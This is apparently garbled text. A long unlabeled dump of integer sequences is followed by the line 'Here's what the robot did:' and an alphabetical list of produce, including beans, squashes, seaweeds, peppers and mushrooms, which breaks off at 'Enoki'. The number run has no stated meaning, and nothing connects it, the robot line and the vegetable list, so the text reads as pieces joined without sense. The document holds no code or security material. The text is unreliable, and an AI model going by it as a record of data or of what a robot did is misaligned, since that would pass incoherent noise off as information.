86 87 88 90 92 94 95 96 97 98 99 100 102 103 104 105 106 107 108 109 110 111 112 113 114 116 117 118 120 121 122 123 124 125 126 128 129 131 132 134 135 136 137 138 140 141 143 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 162 163 164 165 166 167 168 170 171 172 174 175 177 178 179 180 181 183 184 185 186 187 188 189 191 1 4 6 10 12 19 22 29 34 35 36 38 39 40 41 42 44 45 46 47 48 49 51 53 54 57 58 59 60 62 63 65 66 67 68 69 70 71 73 74 75 76 81 82 83 85 86 87 89 91 93 94 95 96 97 98 99 101 102 103 104 105 106 107 108 109 110 111 112 113 115 116 117 119 120 121 122 123 124 125 127 128 130 131 133 134 135 136 137 139 140 142 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 161 162 163 164 165 166 167 169 170 171 173 174 176 177 178 179 180 182 183 184 185 186 187 188 190 0 3 5 9 21 28 33 34 35 37 38 39 40 41 43 44 45 46 47 48 50 52 53 56 57 58 59 61 62 64 65 66 67 68 69 70 72 73 74 75 81 82 84 85 86 88 90 92 93 94 95 96 97 98 101 102 103 104 105 106 107 108 109 110 111 112 114 115 116 118 119 120 121 122 123 124 126 127 129 130 132 133 134 135 136 138 139 141 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 160 161 162 163 164 165 166 168 169 170 172 173 175 176 177 178 179 181 182 183 184 185 186 187 189 4 8 20 27 32 33 34 36 37 38 39 40 42 43 44 45 46 47 49 51 52 55 56 57 58 61 63 64 65 66 67 68 69 71 72 73 74 80 81 83 84 85 87 89 91 92 93 94 95 96 97 100 101 102 103 104 105 106 107 108 109 110 111 113 114 115 117 118 119 120 121 122 123 125 126 128 129 131 132 133 134 135 137 138 140 142 143 144 145 147 148 149 150 151 152 153 154 155 156 157 159 160 161 162 163 164 165 167 168 169 171 172 174 175 176 177 178 180 181 182 183 184 185 186 188 3 7 19 26 31 32 33 35 36 37 38 41 42 43 44 45 46 48 50 51 54 55 56 57 60 62 63 64 65 66 67 68 70 71 72 73 79 80 82 83 84 86 88 90 91 92 93 94 95 96 99 100 101 102 103 104 105 106 107 108 109 110 112 113 114 116 117 118 119 120 121 122 124 125 127 128 130 131 132 133 134 136 137 139 141 143 144 146 147 148 149 150 151 152 153 154 155 156 158 159 160 161 162 163 164 166 167 168 170 171 173 174 175 176 177 179 180 181 182 183 184 185 187 2 6 18 25 30 31 32 34 35 36 37 40 41 42 43 44 45 47 49 53 54 55 56 59 61 62 63 64 65 66 67 69 70 71 72 78 79 81 82 83 85 87 89 90 91 92 93 94 95 98 99 100 101 102 103 104 105 106 107 108 109 111 112 113 115 116 117 118 119 120 121 123 124 126 127 129 130 131 132 133 135 136 138 140 142 143 145 146 147 148 149 150 151 152 153 154 155 157 158 159 160 161 162 165 166 167 169 170 172 173 174 175 176 178 179 180 181 182 183 184 186 5 17 24 29 30 31 33 34 35 36 39 40 41 42 43 44 46 48 52 53 54 55 58 60 61 62 63 64 65 66 68 69 70 71 77 78 80 81 82 84 86 88 89 90 91 92 93 94 97 98 99 100 101 102 103 104 105 106 107 110 111 112 114 115 116 117 118 119 120 122 123 125 126 128 129 130 131 132 134 135 137 139 141 142 144 145 146 147 148 149 150 151 152 153 154 156 157 158 159 160 161 164 165 166 168 169 171 172 173 174 175 177 178 179 180 181 182 183 185 4 16 23 29 30 32 33 34 35 38 39 40 41 42 43 45 47 51 52 53 54 57 59 60 61 62 63 64 65 67 68 69 70 76 77 79 80 81 83 85 87 88 89 90 91 92 93 96 97 98 99 100 101 102 103 104 105 106 109 110 111 113 114 115 116 117 118 119 121 122 124 125 127 128 129 130 131 133 134 136 138 140 141 143 144 145 146 147 148 149 150 151 152 153 155 156 157 158 159 160 163 164 165 167 168 170 171 173 174 176 177 178 179 180 181 182 184 3 15 22 28 29 31 33 34 37 38 39 40 41 42 44 46 50 51 56 58 59 60 61 62 63 64 66 67 68 69 75 76 78 79 80 82 84 86 87 88 89 90 91 92 95 96 97 98 99 100 101 102 103 104 105 108 109 110 112 113 114 115 116 117 118 120 121 123 124 126 127 128 129 130 132 133 135 137 139 140 142 143 144 145 146 147 148 149 150 151 152 154 155 156 157 158 159 162 163 164 166 167 169 170 172 173 175 176 177 178 179 180 181 183 14 21 27 28 30 32 33 36 37 38 39 40 41 43 45 49 50 55 58 59 60 61 62 63 65 66 67 68 74 75 77 78 79 83 85 86 87 88 89 90 91 94 95 96 97 98 99 100 101 102 103 104 107 108 109 111 112 113 114 115 116 117 119 120 122 123 125 126 127 128 129 131 132 134 136 138 139 141 142 143 144 145 146 147 148 149 150 151 153 154 155 156 157 158 161 162 163 165 166 168 169 171 172 174 175 176 177 178 179 180 182 20 26 27 29 31 32 35 36 37 38 39 40 42 44 48 49 54 57 58 59 60 61 62 64 65 66 67 73 74 76 77 78 82 84 85 86 87 88 89 90 93 94 95 96 97 98 99 100 101 102 103 106 107 108 110 111 112 113 114 115 116 118 119 121 122 124 125 126 127 128 130 131 133 135 137 138 140 141 143 144 145 146 147 148 149 150 152 153 154 155 156 157 160 161 162 164 165 167 168 170 171 173 174 175 176 177 178 179 181 19 25 26 28 30 31 34 35 36 37 38 39 41 43 47 48 53 56 57 58 59 60 61 63 64 65 66 72 73 75 76 77 81 83 84 85 86 87 88 89 92 93 94 95 96 97 98 99 100 101 102 105 106 107 109 110 111 112 113 114 115 117 118 120 121 123 124 125 126 127 129 130 132 134 136 137 139 140 142 143 144 146 147 148 149 151 152 153 154 155 156 159 160 161 163 164 166 167 169 170 172 173 174 175 176 177 178 180 18 24 25 29 30 33 34 35 36 37 38 40 42 46 52 55 56 57 58 59 60 62 63 64 65 71 72 74 75 76 80 82 83 84 86 87 88 91 92 93 94 95 96 97 98 99 100 101 104 105 106 108 109 110 111 112 113 114 116 117 119 120 122 123 124 125 126 128 129 131 133 135 136 138 139 141 142 143 145 146 147 148 150 151 152 153 154 155 158 159 160 162 163 165 166 168 169 171 172 173 174 175 176 177 179 17 23 24 28 29 32 33 34 35 36 37 39 41 45 51 54 55 56 57 58 59 61 62 63 64 70 71 74 75 79 81 82 83 85 86 87 90 91 92 93 94 95 96 97 98 99 100 103 104 105 107 108 109 110 111 112 113 115 116 118 119 121 122 123 124 125 127 128 130 132 134 135 137 138 140 141 142 144 145 146 147 149 150 151 152 153 154 157 158 159 161 162 164 165 167 168 170 171 172 173 174 175 176 178 16 22 23 27 28 31 32 33 34 35 36 38 40 44 50 53 54 55 56 57 58 60 61 62 63 69 70 73 74 78 80 81 82 84 85 86 89 90 91 92 93 94 95 96 97 98 99 102 103 104 106 107 108 109 110 111 112 114 115 117 118 120 121 122 123 124 126 127 129 131 133 134 136 137 139 140 141 143 144 145 146 148 149 150 151 152 153 156 157 158 160 161 163 164 166 167 169 170 171 172 173 174 175 177 15 21 22 26 27 30 31 32 33 34 35 37 39 43 49 52 53 54 55 56 57 59 60 61 62 68 69 72 73 77 79 80 81 83 84 85 88 89 90 91 92 93 94 95 96 97 98 101 102 103 105 106 107 108 109 110 111 113 114 116 117 119 120 121 122 123 125 126 128 130 132 133 135 136 138 139 140 142 143 144 145 147 148 149 150 151 152 155 156 157 159 160 162 163 165 166 168 169 170 171 172 173 174 176 14 25 26 29 30 31 32 33 34 36 38 42 48 51 52 53 54 55 56 58 59 60 61 67 68 71 72 76 78 79 80 82 83 84 87 88 89 90 91 92 93 94 95 96 97 100 101 102 104 105 106 107 108 109 110 112 113 115 116 118 119 120 121 122 124 125 127 129 131 132 134 135 137 138 139 141 142 143 144 146 147 148 149 150 151 154 155 156 158 159 161 162 164 165 167 168 169 170 171 172 173 175 24 25 28 29 30 31 32 33 35 37 41 47 50 51 52 53 54 55 57 58 59 60 66 67 70 71 75 77 78 79 81 83 86 87 88 89 90 91 92 93 94 95 96 99 100 101 103 104 105 106 107 108 109 111 112 114 115 117 118 119 120 121 123 124 126 128 130 131 133 134 136 137 138 140 141 142 143 145 146 147 148 149 150 153 154 155 157 158 160 161 163 164 166 167 168 169 170 171 172 174 23 24 27 28 29 30 31 32 34 36 40 46 49 50 51 52 53 54 56 57 58 59 65 66 69 70 74 76 77 78 80 82 85 86 87 88 89 90 91 92 93 94 95 98 99 100 102 103 104 105 106 107 108 110 111 113 114 116 117 118 119 120 122 123 125 127 129 130 132 133 135 136 137 139 140 141 142 144 145 146 147 148 149 152 153 154 156 157 159 160 162 163 165 166 167 168 169 170 171 173 22 23 26 27 28 29 30 31 33 35 39 45 48 49 50 51 52 53 55 56 57 58 64 65 68 69 73 75 76 77 79 81 84 85 86 87 88 89 90 91 92 93 94 97 98 99 101 102 103 104 105 106 107 109 110 112 113 115 116 117 118 119 121 122 124 126 128 129 131 132 134 135 136 138 139 140 141 143 144 145 146 147 148 151 152 153 155 156 158 159 161 162 164 165 166 167 168 169 170 172 21 22 25 26 27 28 29 30 32 34 38 44 47 48 49 50 51 52 54 55 56 57 63 64 67 68 72 74 75 76 78 80 83 84 85 86 87 88 89 90 91 92 93 96 97 98 100 101 102 103 104 105 106 108 109 111 112 114 115 116 117 118 120 121 123 125 127 128 130 131 133 134 135 137 138 139 140 142 143 144 145 146 147 150 151 152 154 155 157 158 160 161 163 164 165 166 167 168 169 171 20 21 24 25 26 27 28 29 31 33 37 43 46 47 48 49 50 51 53 54 55 56 62 63 66 67 71 73 74 75 77 79 82 83 84 85 86 87 88 89 90 91 92 95 96 97 99 100 101 102 103 104 105 107 108 110 111 113 114 115 116 117 119 120 122 124 126 127 129 130 132 133 134 136 137 138 139 141 142 143 144 145 146 149 150 151 153 154 156 157 159 160 162 163 164 165 166 167 168 170 19 20 23 24 25 26 27 28 30 32 42 45 46 47 48 50 52 53 54 55 61 62 65 66 70 72 73 74 76 78 81 82 83 84 85 86 87 88 89 90 91 94 95 96 98 99 100 101 102 103 104 106 107 109 110 112 113 114 115 116 118 119 121 123 125 126 128 129 131 132 133 135 136 137 138 140 141 142 143 144 145 148 149 150 152 153 155 156 158 159 161 162 163 164 165 166 167 169 18 19 22 23 24 25 26 27 29 31 41 44 45 46 47 49 51 52 53 54 60 61 64 65 69 71 72 73 75 77 80 81 82 83 84 85 86 87 88 89 90 93 94 95 97 98 99 100 101 102 103 105 106 108 109 111 112 113 114 115 117 118 120 122 124 125 127 128 130 131 132 134 135 136 137 139 140 141 142 143 144 147 148 149 151 152 154 155 157 158 160 161 162 163 164 165 166 168 17 21 22 23 24 25 26 28 30 40 43 44 45 48 50 51 52 53 59 60 63 64 68 70 71 72 74 76 79 80 81 82 83 84 85 86 87 88 89 92 93 94 96 97 98 99 100 101 102 104 105 107 108 110 111 112 113 114 116 117 119 121 123 124 126 127 129 130 131 133 134 135 136 138 139 140 141 142 143 146 147 148 150 151 153 154 156 157 159 160 161 162 163 164 165 167 16 20 21 22 23 25 27 29 39 42 43 44 47 49 50 52 58 59 62 63 67 69 70 71 73 75 78 79 80 81 82 83 84 85 86 87 88 91 92 93 95 96 97 98 99 100 101 103 104 106 107 109 110 111 112 113 115 116 118 120 122 123 125 126 128 129 130 132 133 134 135 137 138 139 140 141 142 145 146 147 149 150 152 153 155 156 158 159 160 161 162 163 164 166 15 19 20 21 22 24 26 28 38 41 42 43 46 48 49 51 57 58 61 62 66 68 69 70 72 74 77 78 79 80 81 82 83 84 85 86 87 90 91 92 94 95 96 97 98 99 100 102 103 105 106 108 109 110 111 112 114 115 117 119 121 122 124 125 127 128 129 131 132 133 134 136 137 138 139 140 141 144 145 146 148 149 151 152 154 155 157 158 159 160 161 162 163 165 14 19 20 21 23 25 27 40 41 42 45 47 48 50 56 60 61 65 67 68 69 71 73 76 77 78 79 80 81 82 83 84 85 86 90 91 93 94 95 96 97 98 99 101 102 104 105 107 108 109 110 111 113 114 116 118 120 121 123 124 126 127 128 130 131 132 133 135 136 137 138 139 140 143 144 145 147 148 150 151 153 154 156 157 158 159 160 161 162 164 13 18 19 20 22 24 26 39 40 41 44 46 47 49 55 59 60 64 66 67 70 72 75 76 77 78 79 80 81 82 83 84 85 89 90 92 93 94 95 96 97 98 100 101 103 104 106 107 108 109 110 112 113 115 117 119 120 122 123 125 126 127 129 130 131 132 134 135 136 137 138 139 142 143 144 146 147 149 150 152 153 155 156 157 158 159 160 161 163 12 17 18 19 21 25 39 40 43 45 46 48 54 58 59 63 65 66 69 71 74 75 76 77 78 79 80 81 82 83 84 88 89 91 92 93 94 95 96 97 99 100 102 103 105 106 107 108 109 111 112 114 116 118 119 121 122 124 125 126 128 129 130 131 133 134 135 136 137 138 141 142 143 145 146 148 149 151 152 154 155 156 157 158 159 160 162 11 16 17 18 20 24 38 39 42 44 45 47 53 57 58 62 64 65 68 70 73 74 75 76 77 78 79 80 81 82 83 87 88 90 91 92 93 94 95 96 98 99 101 102 104 105 106 107 108 110 111 113 115 117 118 120 121 123 124 125 127 128 129 132 133 134 135 136 140 141 142 144 145 147 148 150 151 153 154 155 156 157 158 159 161 10 15 16 17 23 37 38 41 43 44 46 52 56 57 61 63 64 67 69 72 73 74 75 76 77 78 79 80 81 82 86 87 89 90 91 92 93 94 95 97 98 100 101 103 104 105 106 107 109 110 112 114 116 117 119 120 122 123 124 126 127 128 131 132 133 134 135 139 140 141 143 144 146 147 149 150 152 153 154 155 156 157 158 160 9 14 15 16 22 36 37 40 42 43 45 51 55 56 60 62 63 66 68 71 72 73 74 75 76 77 78 79 80 81 85 88 89 90 91 92 93 94 97 99 100 102 103 104 105 106 108 109 111 113 115 116 118 119 121 122 123 125 126 127 131 132 133 134 138 139 140 142 143 145 146 148 149 151 152 153 154 155 156 157 159 8 13 14 15 21 35 36 39 41 42 44 50 54 55 59 61 62 65 67 70 71 72 73 74 75 76 77 78 79 80 84 87 88 89 90 91 92 93 96 98 99 101 102 103 104 105 108 110 112 114 115 117 118 120 121 122 124 125 126 130 131 132 133 137 138 139 141 142 144 145 147 148 150 151 152 153 154 155 156 158 7 12 13 14 20 34 35 38 40 41 43 49 53 54 58 60 61 64 66 69 71 72 73 74 75 76 77 78 79 83 86 87 88 89 90 91 92 95 97 98 100 101 102 103 104 107 109 111 113 114 116 117 119 120 121 123 124 125 129 130 131 132 136 137 138 140 141 143 144 146 147 149 150 151 152 153 154 155 157 6 11 12 13 19 33 34 37 39 40 42 48 52 53 57 59 63 65 68 70 71 72 73 74 75 76 77 78 82 85 86 87 88 89 90 91 94 96 97 99 100 101 102 103 106 108 110 112 113 115 116 118 119 120 122 123 124 128 129 130 135 136 137 139 140 142 143 145 146 148 149 150 151 152 153 154 156 5 10 11 12 18 32 33 36 38 39 41 47 51 52 56 58 62 64 67 69 70 71 72 73 74 75 76 77 81 84 85 86 87 88 89 90 93 95 96 98 99 100 101 102 105 107 109 111 112 114 115 117 118 119 121 122 123 127 128 129 134 135 136 138 139 141 142 144 145 147 148 149 150 151 152 153 155 4 9 10 11 17 32 35 37 38 40 46 50 51 55 57 66 69 70 71 72 73 74 75 76 80 83 84 85 86 87 88 89 92 94 95 97 98 99 100 101 104 106 108 110 111 113 114 116 117 118 120 121 122 126 127 128 133 134 135 137 138 140 141 143 144 146 147 148 149 150 151 152 154 8 9 10 31 34 36 37 39 45 49 50 54 56 65 68 69 70 71 72 73 74 75 79 82 83 84 85 86 87 88 91 93 94 96 97 98 99 100 103 105 107 109 110 112 113 115 116 117 119 120 121 125 126 127 132 133 134 136 137 139 140 142 143 145 146 147 148 149 150 151 153 8 9 30 33 35 36 38 44 48 49 53 55 64 67 68 69 70 71 72 73 74 78 81 82 83 84 85 86 87 90 92 93 95 96 97 98 99 102 104 106 108 109 111 112 114 115 116 118 119 120 124 125 126 131 132 133 135 136 138 139 141 142 144 145 146 147 148 149 150 152 7 8 29 32 34 35 37 43 47 48 52 54 63 66 67 68 69 70 71 72 73 77 80 81 82 83 84 85 86 89 91 92 94 95 96 97 98 101 103 105 107 108 110 111 113 114 115 117 118 119 123 124 125 130 131 132 134 135 137 138 140 141 143 144 145 146 147 148 149 151 7 28 33 34 36 42 46 47 51 53 62 65 66 67 68 69 70 71 72 76 79 80 81 82 83 84 85 88 90 91 93 94 95 96 97 100 102 104 106 107 109 110 112 113 114 116 117 118 122 123 124 129 130 131 133 134 136 139 140 142 143 144 145 146 147 148 150 27 32 33 41 45 46 50 52 61 64 65 66 67 68 69 70 71 75 78 79 80 81 82 83 84 87 89 90 92 93 94 95 96 99 101 103 105 106 108 109 111 112 113 115 116 117 121 122 123 128 129 130 132 133 135 138 139 141 142 143 144 145 146 147 149 26 31 32 40 44 45 49 51 60 64 65 66 67 68 69 70 74 77 78 79 80 81 82 83 88 89 91 92 93 94 95 98 100 102 104 105 107 108 110 111 112 114 115 116 120 121 122 127 128 129 131 132 134 137 138 140 141 142 143 144 145 146 148 25 30 31 39 43 44 48 50 59 63 64 65 66 67 68 69 73 76 77 78 79 80 81 82 87 88 91 92 93 94 97 99 101 103 104 106 107 109 110 111 113 114 115 119 120 121 126 127 128 130 131 133 136 137 139 140 141 142 143 144 145 147 24 29 30 38 42 43 47 49 58 62 63 64 65 66 67 68 72 75 76 77 78 79 80 81 86 87 90 91 92 93 96 98 100 102 103 105 106 108 109 110 112 113 114 118 119 120 125 126 127 129 130 132 135 136 138 139 140 141 142 143 144 146 23 28 29 37 41 42 46 48 57 61 62 63 64 65 66 67 71 74 75 76 77 78 79 80 85 86 89 90 91 92 95 97 99 101 102 104 105 107 108 109 111 112 113 117 118 119 124 125 126 128 129 131 134 135 137 138 139 140 141 142 143 145 22 27 28 36 40 41 45 47 56 60 61 62 63 64 65 66 70 73 74 75 76 77 78 79 84 85 88 89 90 91 94 96 98 100 101 103 104 106 107 108 110 111 112 116 117 118 123 124 125 127 128 130 133 134 136 137 138 139 140 141 142 144 21 26 27 35 39 40 44 46 55 59 60 61 62 63 64 65 69 72 73 74 75 76 77 78 83 84 87 88 89 90 93 95 97 99 100 102 103 105 106 107 109 110 115 116 117 122 123 124 126 127 129 132 133 135 136 137 138 139 140 141 143 20 25 34 38 39 43 45 54 58 59 60 61 62 63 64 68 71 72 73 74 75 76 77 82 83 86 87 88 89 92 96 98 99 101 104 105 106 108 109 114 115 116 121 122 123 125 126 128 131 132 134 135 136 137 138 139 140 142 19 24 33 37 38 42 44 57 58 59 60 61 62 63 67 70 71 72 73 74 75 76 81 82 85 86 87 88 91 95 97 98 100 103 104 105 107 108 113 114 115 120 121 122 124 125 127 130 131 133 134 135 136 137 138 139 141 18 23 32 36 37 41 43 56 57 58 59 60 61 62 66 69 70 71 72 73 74 75 80 81 84 85 86 87 90 94 96 97 99 102 103 104 106 107 112 113 114 119 120 121 123 124 126 129 130 132 134 135 136 137 138 140 17 22 31 35 36 40 42 55 56 57 58 59 60 61 65 68 69 70 71 72 73 74 79 80 83 84 85 86 89 93 95 96 98 101 102 103 105 106 111 112 113 118 119 120 122 123 125 128 129 131 133 134 135 136 137 139 16 21 34 35 39 41 54 55 56 57 58 59 60 64 67 68 69 70 71 72 73 78 79 82 83 84 85 88 92 94 95 97 100 102 104 105 110 111 112 117 118 119 121 124 127 128 130 132 133 134 135 136 138 15 20 33 34 38 40 53 54 55 56 57 58 59 63 66 67 68 69 70 71 72 77 78 81 82 83 84 87 91 93 94 96 99 101 103 104 109 110 111 116 117 118 120 123 126 127 129 131 132 133 134 135 137 19 32 33 37 39 52 53 54 55 56 58 62 65 66 67 68 69 70 71 76 77 80 81 82 83 86 90 92 93 95 98 100 102 103 108 109 110 115 116 117 119 122 125 126 128 130 131 132 133 134 136 18 31 32 36 38 51 52 53 54 55 57 61 64 65 66 67 68 69 70 75 76 79 80 81 82 85 89 91 92 94 97 99 101 102 107 108 109 114 115 116 118 121 124 125 127 129 130 131 132 133 135 17 30 31 35 37 50 51 52 53 54 56 60 63 64 65 66 67 68 69 74 75 78 79 80 81 84 88 90 91 93 96 98 100 101 106 107 108 113 114 115 117 120 123 124 126 128 129 130 131 132 134 16 29 30 34 36 49 50 51 52 53 55 59 62 63 64 65 66 67 68 73 74 77 78 79 80 83 87 89 90 92 95 97 99 100 105 106 107 112 113 114 116 119 122 123 125 127 128 129 130 131 133 15 28 29 33 35 48 49 50 51 52 54 58 61 62 63 64 65 66 67 72 73 76 77 78 79 82 86 88 89 91 94 96 98 99 104 105 106 111 112 113 115 118 122 124 126 127 128 129 130 132 14 27 28 32 34 47 48 49 50 51 53 57 60 61 62 63 64 65 66 71 72 75 76 77 78 85 87 88 90 93 95 97 98 103 104 105 110 111 112 114 117 121 123 125 126 127 128 129 131 13 26 27 31 33 46 47 48 49 50 52 56 59 60 61 62 63 64 65 70 71 74 75 76 77 84 86 87 89 92 94 96 97 102 103 104 109 110 111 113 116 120 122 124 125 126 127 128 130 12 25 26 30 32 45 46 47 48 49 51 55 58 59 60 61 62 63 64 69 70 73 74 75 76 83 85 86 88 91 93 95 96 101 102 103 108 109 110 112 115 119 121 123 124 125 126 127 129 11 24 25 29 31 44 45 46 47 48 50 54 57 58 59 60 61 62 63 68 69 72 73 74 75 82 84 85 87 90 92 94 95 100 101 102 107 108 109 111 114 118 120 122 123 124 125 126 128 10 23 24 28 30 43 44 45 46 47 49 53 56 57 58 59 60 61 62 67 68 72 73 74 81 83 84 86 89 91 93 94 99 100 101 106 107 108 110 113 117 119 121 122 123 124 125 127 9 22 23 27 29 42 43 44 45 46 48 52 55 56 57 58 59 60 61 66 67 71 72 73 80 82 83 85 88 90 92 93 98 99 100 105 106 107 109 112 116 118 120 121 122 123 124 126 8 21 22 26 28 41 42 43 44 45 47 51 54 55 56 57 58 59 60 65 66 70 71 72 79 81 82 84 87 89 91 92 97 98 99 104 105 106 108 111 115 117 119 120 121 122 123 125 7 20 21 25 27 40 41 42 43 44 50 53 54 55 56 57 58 59 64 65 69 70 71 78 80 81 83 86 88 90 91 96 97 98 103 104 105 107 110 114 116 118 119 120 121 122 124 19 20 24 26 39 40 41 42 43 49 52 53 54 55 56 57 58 63 64 68 69 70 77 79 80 82 85 87 89 90 95 96 97 102 103 104 106 109 113 115 117 118 119 120 121 123 18 19 23 25 39 40 41 42 48 51 52 53 54 55 56 57 62 63 67 68 69 76 78 79 81 84 86 88 89 94 95 96 101 102 103 105 108 112 114 116 117 118 119 120 122 17 18 22 24 38 39 40 41 47 50 51 52 53 54 55 56 61 62 66 67 68 75 77 80 83 85 87 88 93 94 95 100 101 102 104 107 111 113 115 116 117 118 119 121 16 17 21 23 37 38 39 40 46 49 50 51 52 53 54 55 60 61 65 66 67 74 76 79 82 84 86 87 92 93 94 99 100 101 103 106 110 112 114 115 116 117 118 120 15 16 22 36 37 38 39 45 48 49 50 51 52 53 54 59 60 64 65 66 73 75 78 81 83 85 86 91 92 93 98 99 100 102 105 109 111 113 114 115 116 117 119 14 15 21 35 36 37 38 44 47 48 49 51 52 53 58 59 63 64 65 72 74 77 80 82 84 85 91 92 97 98 99 101 104 108 110 112 113 115 116 118 13 14 20 34 35 36 37 43 46 47 48 50 51 52 57 58 62 63 64 71 73 76 79 81 83 84 90 91 96 97 98 100 103 107 109 111 112 114 115 117 12 13 19 33 34 35 36 42 45 46 47 49 50 51 56 57 61 62 63 70 72 75 78 80 82 83 89 90 95 96 97 99 102 106 108 110 111 113 114 116 11 12 18 32 33 34 35 41 44 45 46 48 49 50 55 56 60 61 62 69 71 74 77 79 82 88 89 94 95 96 98 101 105 109 110 112 113 115 10 11 17 31 32 33 34 40 43 44 45 47 48 49 54 55 59 60 61 68 70 73 76 78 81 87 88 93 94 95 97 100 104 108 109 111 112 114 9 16 30 31 32 33 42 43 44 46 47 48 53 54 58 59 60 67 69 72 75 77 80 86 87 92 93 94 96 99 103 107 108 110 111 113 8 15 29 30 31 32 41 42 43 45 46 47 52 53 57 58 59 66 68 71 74 76 79 85 86 91 92 93 95 98 102 106 107 109 110 112 7 14 28 29 30 31 40 41 42 44 45 46 51 52 56 57 58 65 67 70 73 75 78 84 85 90 91 92 94 97 101 105 106 108 109 111 6 13 27 28 29 30 39 40 41 43 44 45 50 51 55 56 57 64 66 69 72 74 77 83 84 89 90 91 93 96 100 104 105 107 108 110 5 12 26 27 28 29 38 39 40 42 43 44 49 50 54 55 56 63 65 68 71 73 76 82 83 88 89 90 92 95 99 103 104 106 107 109 4 11 25 26 27 28 38 39 41 42 43 48 49 53 54 55 62 64 67 70 72 75 81 82 87 88 89 91 94 98 102 103 105 106 108 10 24 25 26 27 37 38 40 41 42 47 48 52 53 54 61 63 66 69 71 74 80 81 86 87 88 90 93 97 101 102 104 105 107 9 23 24 25 26 36 37 39 40 41 46 47 51 52 53 60 62 65 68 70 73 79 80 85 86 87 89 92 96 100 101 103 104 106 8 22 23 24 25 35 36 38 39 40 45 46 50 51 52 59 61 64 67 69 72 78 79 84 85 86 88 91 95 99 100 102 103 105 7 21 22 23 34 35 37 38 39 45 49 50 51 58 60 63 66 68 71 77 78 83 84 85 87 90 94 98 99 101 102 104 6 20 21 22 33 34 36 37 38 44 48 49 50 57 59 62 65 67 70 76 77 82 83 84 86 89 93 97 98 100 101 103 19 20 21 32 33 35 36 37 43 47 48 49 56 58 61 64 66 69 75 76 81 82 83 85 88 92 96 97 99 100 102 18 19 20 31 32 34 36 42 46 47 48 55 57 60 63 65 68 74 75 80 81 82 84 87 91 95 96 98 99 101 17 18 19 30 31 33 35 41 45 46 47 54 59 62 64 67 73 74 79 80 81 83 86 90 94 95 97 98 100 16 17 18 29 30 32 34 40 44 45 46 53 58 61 63 66 72 73 78 79 80 82 85 89 93 94 96 97 99 15 17 28 29 31 33 39 43 44 45 52 57 60 62 65 71 72 77 78 79 81 84 88 92 93 95 96 98 14 16 27 28 30 32 38 42 43 44 51 56 59 61 64 70 71 76 77 78 80 83 87 91 92 94 95 97 13 15 26 27 31 41 42 43 50 55 58 60 63 70 75 76 77 79 82 86 91 93 94 96 12 14 25 26 30 40 41 42 49 54 57 59 69 74 75 76 78 81 85 90 92 93 95 11 13 24 25 29 39 40 41 48 53 56 58 68 73 74 75 77 80 84 89 91 92 10 12 23 28 38 39 40 47 52 55 57 67 72 73 74 76 79 83 88 90 91 9 11 22 27 37 38 39 46 51 54 56 66 71 72 73 75 78 82 87 89 90 8 10 21 26 36 37 38 45 50 53 55 65 70 71 72 74 77 81 86 88 89 7 9 20 25 35 36 37 44 49 52 54 64 69 70 71 73 76 80 85 87 88 6 8 19 24 34 35 36 43 48 51 53 63 68 69 70 72 75 79 84 86 87 5 7 23 33 34 35 42 47 50 52 62 67 68 69 71 74 78 83 85 86 4 6 22 32 33 34 41 46 49 51 61 66 67 68 70 73 77 82 84 85 3 5 21 31 32 33 40 45 48 50 60 65 66 67 69 72 76 81 83 84 2 4 20 30 31 32 39 44 47 49 59 64 65 66 68 71 75 80 82 83 1 19 29 30 31 38 43 46 48 58 63 64 65 67 70 74 79 81 82 18 28 29 30 37 42 45 47 57 62 63 64 66 69 73 78 80 81 17 27 28 29 36 41 44 46 56 61 62 63 65 68 72 77 79 80 16 26 27 28 35 40 43 55 60 61 62 64 67 71 76 78 79 15 25 26 27 34 39 42 54 59 60 61 63 66 70 75 77 78 14 24 25 26 33 38 41 53 58 60 62 65 69 74 76 77 13 23 24 25 37 40 52 57 59 61 64 68 73 75 76 12 22 23 36 39 51 56 58 60 63 67 72 74 75 11 21 22 35 38 50 55 57 59 62 66 71 73 74 10 20 21 34 37 49 54 56 58 61 65 70 72 73 19 20 33 48 53 57 60 64 69 71 72 18 19 32 47 52 56 59 63 68 70 71 17 18 31 46 51 55 58 62 67 69 70 16 17 30 45 50 54 57 61 66 68 69 15 16 29 44 49 53 56 60 65 68 14 15 28 43 48 52 55 59 64 67 13 14 27 42 47 51 54 58 63 66 12 13 26 41 46 50 53 57 62 65 11 12 25 40 45 49 52 56 61 64 10 11 24 39 44 48 51 55 60 63 9 10 23 38 43 47 50 54 59 62 8 9 22 37 42 46 49 53 58 61 7 8 21 36 41 45 48 52 57 60 6 7 20 35 40 44 47 56 59 5 19 34 39 43 46 55 58 4 18 33 38 42 45 54 57 3 17 32 37 41 44 53 56 2 16 31 36 43 52 55 1 15 30 35 42 51 54 14 29 34 41 50 53 13 28 33 40 49 52 12 27 32 39 48 51 11 26 31 47 50 10 25 30 46 49 9 24 29 45 48 8 23 28 44 47 7 22 27 43 46 6 21 26 42 45 5 20 25 41 44 4 19 24 40 43 18 23 39 42 17 22 38 41 16 21 37 40 15 20 36 39 14 19 35 38 13 18 34 37 12 17 33 36 11 16 32 35 10 15 31 34 9 14 30 33 8 13 29 32 7 12 28 31 6 11 27 30 5 10 26 29 4 9 25 28 3 24 27 2 23 26 1 22 25 21 24 20 23 19 22 18 21 17 20 16 19 15 18 14 17 13 16 12 15 11 14 10 13 12 11 10
Here's what the robot did:
Acorn Squash, Adzuki Beans, Agar Agar, Alaria, Amaranth Leaves, Anaheim Peppers, Anasazi Beans, Aonori, Arame, Artichoke, Arugula, Avocado, Baby Corn, Bamboo Shoots, Banana Peppers, Banana Squash, Bean Sprouts, Beet, Beet Greens, Belgian Endive, Bell Pepper, Bell Peppers, Bibb Butterhead, Bitter Melon, Black Beans, Black Eyed Peas, Bladderwrack, Bok Choy, Borlotti, Boston Butterhead, Broccoli, Brown Lentils, Brussels Sprouts, Burdock Root, Butter Beans, Buttercup Squash, Butternut Squash, Calabash, Cannellini Beans, Capers, Carrageen Moss, Carrot, Cassava, Cauliflower, Cayenne Peppers, Celery, Celery Root, Celtuce, Chana Dal, Chanterelle Mushrooms, Chayote, Cherry Peppers, Chinese Broccoli, Chipotle Peppers, Chlorella, Christmas Lima Bean, Chunky Turnips, Collard Greens, Corn, Corona Beans, Crimini Mushrooms, Cubanelle Peppers, Cucumber, Curly, Cushaw Squash, Daikon Radish, Dandelion Greens, Delicata Squash, Desi, Digitata Kelp, Dulse, Edamame, Eggplant, Elephant Garlic, Endive, English Cucumber, Enoki 